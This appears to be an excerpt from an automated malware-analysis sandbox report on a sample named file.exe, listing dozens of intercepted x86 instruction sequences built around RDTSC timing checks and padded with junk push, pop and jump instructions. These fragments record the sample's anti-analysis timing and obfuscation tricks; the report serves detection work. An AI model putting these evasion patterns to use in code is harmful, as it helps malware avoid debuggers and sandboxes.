Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028F2A second address: 1028F30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028F30 second address: 1028F35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10291BB second address: 10291BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10291BF second address: 10291ED instructions: 0x00000000 rdtsc 0x00000002 jc 00007F81E8BCBB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F81E8BCBB72h 0x0000000f pushad 0x00000010 jns 00007F81E8BCBB66h 0x00000016 push edi 0x00000017 pop edi 0x00000018 push edx 0x00000019 pop edx 0x0000001a popad 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10291ED second address: 10291F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10291F1 second address: 10291FB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10297A3 second address: 10297BD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F81E8FD2F7Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033467 second address: 10334A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F81E8BCBB77h 0x0000000e jmp 00007F81E8BCBB73h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032D1D second address: 1032D3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F81E8FD2F88h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032D3B second address: 1032D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032D3F second address: 1032D43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033159 second address: 1033163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F81E8BCBB66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033163 second address: 1033179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F81E8FD2F80h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033179 second address: 103319A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007F81E8BCBB66h 0x00000009 jmp 00007F81E8BCBB72h 0x0000000e pop ebx 0x0000000f push ecx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103BE8A second address: 103BE96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F81E8FD2F76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039E43 second address: 1039E7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ecx 0x0000000b jmp 00007F81E8BCBB77h 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039FFF second address: 103A005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A005 second address: 103A009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A009 second address: 103A034 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F81E8FD2F87h 0x00000008 je 00007F81E8FD2F76h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F81E8FD2F76h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A5FA second address: 103A600 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A600 second address: 103A62B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F81E8FD2F8Ch 0x00000008 pushad 0x00000009 jno 00007F81E8FD2F76h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A62B second address: 103A648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F81E8BCBB6Eh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A648 second address: 103A65F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F81E8FD2F78h 0x00000008 pushad 0x00000009 jg 00007F81E8FD2F76h 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A8EB second address: 103A8EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AA54 second address: 103AA5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AA5D second address: 103AA63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AA63 second address: 103AA68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AA68 second address: 103AA7A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F81E8BCBB66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AA7A second address: 103AA94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AC15 second address: 103AC29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AC29 second address: 103AC60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F81E8FD2F89h 0x00000008 jmp 00007F81E8FD2F89h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103ADF5 second address: 103ADFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B595 second address: 103B5B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F81E8FD2F85h 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B5B4 second address: 103B5C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F81E8BCBB66h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039A52 second address: 1039A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039A58 second address: 1039A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jo 00007F81E8BCBB6Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041FC5 second address: 1041FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104469A second address: 10446AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F81E8BCBB70h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F6F3 second address: 104F6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F324 second address: 104F337 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F337 second address: 104F33B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053B1C second address: 1053B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F81E8BCBB66h 0x0000000a popad 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jng 00007F81E8BCBB66h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053C76 second address: 1053C7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053C7A second address: 1053C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007F81E8BCBB66h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056DB7 second address: 1056DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056DBB second address: 1056DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F3C3 second address: 106F3C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F3C7 second address: 106F3E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F81E8BCBB77h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F3E8 second address: 106F3F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F81E8FD2F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F3F2 second address: 106F42B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F81E8BCBB79h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F42B second address: 106F440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F81E8FD2F7Bh 0x00000009 jnc 00007F81E8FD2F76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F876 second address: 106F87A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F87A second address: 106F898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F81E8FD2F80h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F898 second address: 106F8BA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F81E8BCBB66h 0x00000008 js 00007F81E8BCBB66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F81E8BCBB6Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1071E66 second address: 1071E80 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F81E8FD2F7Eh 0x00000008 jc 00007F81E8FD2F7Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074804 second address: 107480E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F81E8BCBB66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107480E second address: 1074817 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074817 second address: 107481D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1080AB5 second address: 1080ADD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F81E8FD2F80h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007F81E8FD2F7Ch 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1080ADD second address: 1080AF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1080AF6 second address: 1080AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1080AFA second address: 1080B09 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F81E8BCBB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CBBC second address: F8CBC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CBC2 second address: F8CBC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CBC6 second address: F8CBE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F7Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108A73C second address: 108A740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108A740 second address: 108A768 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F81E8FD2F76h 0x00000008 jmp 00007F81E8FD2F7Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F81E8FD2F80h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108A768 second address: 108A76C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F5BF second address: 107F5FB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F81E8FD2F90h 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F81E8FD2F7Ah 0x00000010 pop ebx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 pushad 0x00000015 je 00007F81E8FD2F76h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10970BF second address: 10970C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10970C7 second address: 10970CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10970CD second address: 10970D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10970D8 second address: 10970DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0E83 second address: 10B0E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0E87 second address: 10B0E96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B02B0 second address: 10B02B6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B06FC second address: 10B073D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F81E8FD2F89h 0x00000009 jmp 00007F81E8FD2F89h 0x0000000e popad 0x0000000f js 00007F81E8FD2F7Eh 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2631 second address: 10B2657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F81E8BCBB6Eh 0x0000000b jmp 00007F81E8BCBB70h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2657 second address: 10B268C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F81E8FD2F7Ch 0x0000000c jc 00007F81E8FD2F8Dh 0x00000012 jmp 00007F81E8FD2F85h 0x00000017 push eax 0x00000018 pop eax 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3D59 second address: 10B3D5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6690 second address: 10B6694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6694 second address: 10B66B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F81E8BCBB6Ch 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jp 00007F81E8BCBB6Ch 0x00000014 jc 00007F81E8BCBB66h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B66B9 second address: 10B66BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B66BD second address: 10B66C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6C2E second address: 10B6C66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F81E8FD2F87h 0x00000008 jp 00007F81E8FD2F76h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F81E8FD2F7Ah 0x0000001a jl 00007F81E8FD2F76h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6C66 second address: 10B6CF2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F81E8BCBB68h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F81E8BCBB68h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 jmp 00007F81E8BCBB79h 0x0000002c jl 00007F81E8BCBB6Bh 0x00000032 mov edx, 34DA48C2h 0x00000037 push dword ptr [ebp+122D1F6Bh] 0x0000003d mov edx, dword ptr [ebp+1252D1FBh] 0x00000043 call 00007F81E8BCBB69h 0x00000048 jnl 00007F81E8BCBB70h 0x0000004e push eax 0x0000004f jmp 00007F81E8BCBB6Bh 0x00000054 mov eax, dword ptr [esp+04h] 0x00000058 pushad 0x00000059 jo 00007F81E8BCBB6Ch 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6CF2 second address: 10B6D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F81E8FD2F82h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6D0B second address: 10B6D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F81E8BCBB78h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6D34 second address: 10B6D4C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F81E8FD2F80h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D020C second address: 49D0233 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F81E8BCBB75h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0233 second address: 49D0260 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F81E8FD2F83h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0260 second address: 49D027D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D027D second address: 49D0283 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
